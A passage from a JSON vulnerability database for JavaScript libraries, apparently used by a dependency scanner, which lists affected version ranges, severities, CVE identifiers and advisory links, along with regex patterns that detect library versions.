[\n\t\t\t\t\"/var [a-z]=[a-z]\\\\.document,([a-z])=\\\"([0-9][0-9.a-z_-]+)\\\",([a-z])=.{130,160};\\\\3\\\\.fn=\\\\3\\\\.prototype=\\\\{jquery:\\\\1/$2/\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery-migrate\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.2.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"release\": \"jQuery Migrate 1.2.0 Released\",\n\t\t\t\t\t\"summary\": \"cross-site-scripting\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://blog.jquery.com/2013/05/01/jquery-migrate-1-2-0-released/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.2.2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"bug\": \"11290\",\n\t\t\t\t\t\"summary\": \"Selector interpreted as HTML\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://bugs.jquery.com/ticket/11290\" , \"http://research.insecurelabs.org/jquery/test/\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"filename\"\t\t: [ \"jquery-migrate-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"/\\\\*!?(?:\\n \\\\*)? jQuery Migrate(?: -)? v([0-9][0-9.a-z_-]+)\" ],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery.validator\" : {\n\t\t\"bowername\": [ \"jquery-validator\" ],\n\t\t\"vulnerabilities\" : [\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.validation.version\" ],\n\t\t\t\"filename\"\t\t: [ \"jquery.validation-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/jquery.validation(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"/\\\\*!?(?:\\n \\\\*)? jQuery Validation Plugin v([0-9][0-9.a-z_-]+)\" ],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery-mobile\" : {\n\t\t\"bowername\": [ \"jquery-mobile\", \"jquery-mobile-min\", \"jquery-mobile-build\", \"jquery-mobile-dist\", \"jquery-mobile-bower\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.0RC2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"osvdb\": [\"94563\", \"93562\", \"94316\", \"94561\", \"94560\"]},\n\t\t\t\t\"info\" : [ \"http://osvdb.org/show/osvdb/94563\", \"http://osvdb.org/show/osvdb/94562\", \"http://osvdb.org/show/osvdb/94316\", \"http://osvdb.org/show/osvdb/94561\", \"http://osvdb.org/show/osvdb/94560\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.0.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"osvdb\": [\"94317\"]},\n\t\t\t\t\"info\": [ \"http://osvdb.org/show/osvdb/94317\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.1.2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\": \"4787\",\n\t\t\t\t\t\"release\": \"http://jquerymobile.com/changelog/1.1.2/\",\n\t\t\t\t\t\"summary\": \"location.href cross-site scripting\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"http://jquerymobile.com/changelog/1.1.2/\", \"https://github.com/jquery/jquery-mobile/issues/4787\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.2.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"issue\": \"4787\",\n\t\t\t\t\t\"release\": \"http://jquerymobile.com/changelog/1.2.0/\",\n\t\t\t\t\t\"summary\": \"location.href cross-site scripting\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"http://jquerymobile.com/changelog/1.2.0/\", \"https://github.com/jquery/jquery-mobile/issues/4787\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"100.0.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"open redirect leads to cross site scripting\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"http://sirdarckcat.blogspot.no/2017/02/unpatched-0day-jquery-mobile-xss.html\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.mobile.version\" ],\n\t\t\t\"filename\"\t\t: [ \"jquery.mobile-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/jquery.mobile(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"/\\\\*!?(?:\\n \\\\*)? jQuery Mobile(?: -)? v([0-9][0-9.a-z_-]+)\" ],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery-ui-dialog\" : {\n\t\t\"bowername\": [ \"jquery-ui\", \"jquery.ui\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\": \"1.8.9\",\n\t\t\t\t\"below\" : \"1.10.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2010-5312\" ],\n\t\t\t\t\t\"bug\": \"6016\",\n\t\t\t\t\t\"summary\": \"Title cross-site scripting vulnerability\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://bugs.jqueryui.com/ticket/6016\", \"https://nvd.nist.gov/vuln/detail/CVE-2010-5312\" ]\n\t\t\t}, \n\t\t\t{\n\t\t\t\t\"below\" : \"1.12.0\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2016-7103\" ],\n\t\t\t\t\t\"bug\": \"281\",\n\t\t\t\t\t\"summary\": \"XSS Vulnerability on closeText option\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/jquery/api.jqueryui.com/issues/281\", \"https://nvd.nist.gov/vuln/detail/CVE-2016-7103\", \"https://snyk.io/vuln/npm:jquery-ui:20160721\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.ui.dialog.version\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\\n){1,3}.*jquery\\\\.ui\\\\.dialog\\\\.js\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\\n)*.*\\\\.ui\\\\.dialog\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI Dialog ([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"/\\\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\\n){1,3}\\\\* Includes: .* dialog\\\\.js\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery-ui-autocomplete\" : {\n\t\t\"bowername\": [ \"jquery-ui\", \"jquery.ui\" ],\n\t\t\"vulnerabilities\" : [ ],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.ui.autocomplete.version\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\\n){1,3}.*jquery\\\\.ui\\\\.autocomplete\\\\.js\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\\n)*.*\\\\.ui\\\\.autocomplete\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI Autocomplete ([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"/\\\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\\n){1,3}\\\\* Includes: .* autocomplete\\\\.js\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery-ui-tooltip\" : {\n\t\t\"bowername\": [ \"jquery-ui\", \"jquery.ui\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\": \"1.9.2\",\n\t\t\t\t\"below\" : \"1.10.0\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\" : [ \"CVE-2012-6662\" ],\n\t\t\t\t\t\"bug\": \"8859\",\n\t\t\t\t\t\"summary\": \"Autocomplete cross-site scripting vulnerability\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://bugs.jqueryui.com/ticket/8859\", \"https://nvd.nist.gov/vuln/detail/CVE-2012-6662\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.ui.tooltip.version\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*!? jQuery UI - v([0-9][0-9.a-z_-]+)(.*\\n){1,3}.*jquery\\\\.ui\\\\.tooltip\\\\.js\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI ([0-9][0-9.a-z_-]+)(.*\\n)*.*\\\\.ui\\\\.tooltip\",\n\t\t\t\t\"/\\\\*!?[\\n *]+jQuery UI Tooltip ([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jquery.prettyPhoto\" : {\n\t\t\"bowername\": [ \"jquery-prettyPhoto\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"3.1.5\",\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"identifiers\" : { \"CVE\" : [ \"CVE-2013-6837\" ] },\n\t\t\t\t\"info\" : [ \"https://nvd.nist.gov/vuln/detail/CVE-2013-6837\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"3.1.6\",\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"info\" : [ \"https://github.com/scaron/prettyphoto/issues/149\", \"https://blog.anantshri.info/forgotten_disclosure_dom_xss_prettyphoto\" ]\n\t\t\t}\n\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"jQuery.prettyPhoto.version\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*(?:.*[\\n\\r]+){1,3}.*Class: prettyPhoto(?:.*[\\n\\r]+){1,3}.*Version: ([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"\\\\.prettyPhoto[ ]?=[ ]?\\\\{version:[ ]?(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\\\\}\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"jPlayer\" : {\n\t\t\"bowername\": [ \"jPlayer\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"2.3.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2013-2023\" ],\n\t\t\t\t\t\"release\" : \"2.3.1\",\n\t\t\t\t\t\"summary\" : \"XSS vulnerability in actionscript/Jplayer.as in the Flash SWF component\" },\n\t\t\t\t\"info\" : [ \"http://jplayer.org/latest/release-notes/\", \"https://nvd.nist.gov/vuln/detail/CVE-2013-2023\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.3.23\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2013-2022\" ],\n\t\t\t\t\t\"release\": \"2.3.23\",\n\t\t\t\t\t\"summary\": \"XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://jplayer.org/latest/release-notes/\", \"https://nvd.nist.gov/vuln/detail/CVE-2013-2022\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.2.20\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2013-1942\" ],\n\t\t\t\t\t\"release\": \"2.2.20\",\n\t\t\t\t\t\"summary\": \"XSS vulnerabilities in actionscript/Jplayer.as in the Flash SWF component\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://jplayer.org/latest/release-notes/\", \"https://nvd.nist.gov/vuln/detail/CVE-2013-1942\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"new jQuery.jPlayer().version.script\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"/\\\\*(?:.*[\\n\\r]+){1,3}.*jPlayer Plugin for jQuery(?:.*[\\n\\r]+){1,10}.*Version: ([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"knockout\": {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"3.5.0-beta\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"summary\": \"XSS injection point in attr name binding for browser IE7 and older\"},\n\t\t\t\t\"info\" : [ \"https://github.com/knockout/knockout/issues/1244\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"ko.version\" ],\n\t\t\t\"filename\"\t\t: [ \"knockout-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\"],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"\\\\* Knockout JavaScript library v([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\t\n\t},\n\t\"sessvars\": {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.01\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": {\"summary\": \"Unsanitized data passed to eval()\"},\n\t\t\t\t\"info\" : [ \"http://www.thomasfrank.se/sessionvars.html\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"filename\"\t\t: [ \"sessvars-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\"],\n\t\t\t\"filecontent\"\t: [ \"sessvars ver ([0-9][0-9.a-z_-]+)\"],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"swfobject\": {\n\t\t\"bowername\": [ \"swfobject\", \"swfobject-bower\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"2.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"summary\": \"DOM-based XSS\"},\n\t\t\t\t\"info\" : [ \"https://github.com/swfobject/swfobject/wiki/SWFObject-Release-Notes#swfobject-v21-beta7-june-6th-2008\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"filename\"\t\t: [ \"swfobject_([0-9][0-9.a-z_-]+)(.min)?\\\\.js\"],\n\t\t\t\"filecontent\"\t: [ \"SWFObject v([0-9][0-9.a-z_-]+) \"],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\n\t\"tinyMCE\" : {\n\t\t\"bowername\": [ \"tinymce\", \"tinymce-dist\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.4.2\",\n\t\t\t\t\"severity\" : \"high\",\n\t\t\t\t\"identifiers\" : {\n\t\t\t\t\t\"summary\" : \"Static code injection vulnerability in inc/function.base.php\", \n\t\t\t\t\t\"CVE\" : [ \"CVE-2011-4825\" ]\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2011-4825/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.2.4\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : { \"summary\" : \"xss issues with media plugin not properly filtering out some script attributes.\" },\n\t\t\t\t\"info\" : [ \"https://www.tinymce.com/docs/changelog/\" ]\n\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.2.0\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : { \"summary\" : \"FIXED so script elements gets removed by default to prevent possible XSS issues in default config implementations\" },\n\t\t\t\t\"info\" : [ \"https://www.tinymce.com/docs/changelog/\" ]\n\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.7.12\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\" : { \"summary\" : \"FIXED so links with xlink:href attributes are filtered correctly to prevent XSS.\" },\n\t\t\t\t\"info\" : [ \"https://www.tinymce.com/docs/changelog/\" ]\n\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"filecontent\"\t     : [ \"// ([0-9][0-9.a-z_-]+) \\\\([0-9\\\\-]+\\\\)[\\n\\r]+.{0,1200}l=.tinymce/geom/Rect.\" ],\n\t\t\t\"filecontentreplace\" : [ \t\n\t\t\t\t\t\t\t\t\t\t\"/tinyMCEPreInit.*majorVersion:.([0-9]+).,minorVersion:.([0-9.]+)./$1.$2/\",\n\t\t\t\t\t\t\t\t\t\t\"/majorVersion:.([0-9]+).,minorVersion:.([0-9.]+).,.*tinyMCEPreInit/$1.$2/\" \n\t\t\t\t\t\t\t\t   ],\n\t\t\t\"func\" \t\t\t\t : [ \"tinyMCE.majorVersion + '.'+ tinyMCE.minorVersion\" ]\n\t\t}\n\t},\n\n\t\"YUI\" : {\n\t\t\"bowername\": [ \"yui\", \"yui3\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"3.5.0\" ,\n\t\t\t\t\"below\" : \"3.9.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4942\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2013-4942/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"3.2.0\" ,\n\t\t\t\t\"below\" : \"3.9.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4941\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2013-4941/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"3.0.0\",\n\t\t\t\t\"below\" : \"3.10.3\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4940\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2013-4940/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"3.0.0\" ,\n\t\t\t\t\"below\" : \"3.9.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4939\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2013-4939/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.8.0\" ,\n\t\t\t\t\"below\" : \"2.9.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2012-5883\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2012-5883/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.5.0\" ,\n\t\t\t\t\"below\" : \"2.9.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2012-5882\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2012-5882/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.4.0\" ,\n\t\t\t\t\"below\" : \"2.9.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2012-5881\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2012-5881/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.9.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2010-4710\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2010-4710/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.8.0\" ,\n\t\t\t\t\"below\" : \"2.8.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2010-4209\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2010-4209/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.5.0\" ,\n\t\t\t\t\"below\" : \"2.8.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2010-4208\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2010-4208/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"2.4.0\" ,\n\t\t\t\t\"below\" : \"2.8.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2010-4207\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2010-4207/\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"YUI.Version\", \"YAHOO.VERSION\" ],\n\t\t\t\"filename\"\t\t: [ \"yui-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\"],\n\t\t\t\"filecontent\"\t: [ \"/*\\nYUI ([0-9][0-9.a-z_-]+)\", \"/yui/license.(?:html|txt)\\nversion: ([0-9][0-9.a-z_-]+)\"],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"prototypejs\" : {\n\t\t\"bowername\": [ \"prototypejs\", \"prototype.js\", \"prototypejs-bower\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.6.0\",\n\t\t\t\t\"below\" : \"1.6.0.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2008-7220\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2008-7220/\", \"http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/\" ] },\n\t\t\t{\n\t\t\t\t\"below\" : \"1.5.1.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2008-7220\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2008-7220/\", \"http://prototypejs.org/2008/01/25/prototype-1-6-0-2-bug-fixes-performance-improvements-and-security/\" ] }\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"    \t\t: [ \"Prototype.Version\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/prototype(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"prototype-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"Prototype JavaScript framework, version ([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"Prototype[ ]?=[ ]?\\\\{[ \\r\\n\\t]*Version:[ ]?(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\" ],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"ember\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"1.8.0\",\n\t\t\t\t\"below\" :\"1.11.4\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"1.12.0\",\n\t\t\t\t\"below\" :\"1.12.2\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"1.13.0\",\n\t\t\t\t\"below\" : \"1.13.12\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"2.0.0\",\n\t\t\t\t\"below\" : \"2.0.3\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"2.1.0\",\n\t\t\t\t\"below\" : \"2.1.2\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"2.2.0\",\n\t\t\t\t\"below\" : \"2.2.1\",\n\t\t\t\t\"severity\" : \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2015-7565\" ] },\n\t\t\t\t\"info\": [ \"https://groups.google.com/forum/#!topic/ember-security/OfyQkoSuppY\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.5.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"CVE\": [ \"CVE-2014-0046\" ],\n\t\t\t\t\t\"summary\": \"ember-routing-auto-location can be forced to redirect to another domain\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/emberjs/ember.js/blob/v1.5.0/CHANGELOG.md\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.3.0-*\",\n\t\t\t\t\"below\" : \"1.3.2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2014-0046\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.2.0-*\",\n\t\t\t\t\"below\" : \"1.2.2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2014-0046\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ\" ] },\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.4.0-*\",\n\t\t\t\t\"below\" : \"1.4.0-beta.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2014-0013\", \"CVE-2014-0014\"]},\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\", \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.3.0-*\",\n\t\t\t\t\"below\" : \"1.3.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2014-0013\", \"CVE-2014-0014\"]},\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\", \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.2.0-*\",\n\t\t\t\t\"below\" : \"1.2.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2014-0013\", \"CVE-2014-0014\"]},\n\t\t\t\t\"info\" : [ 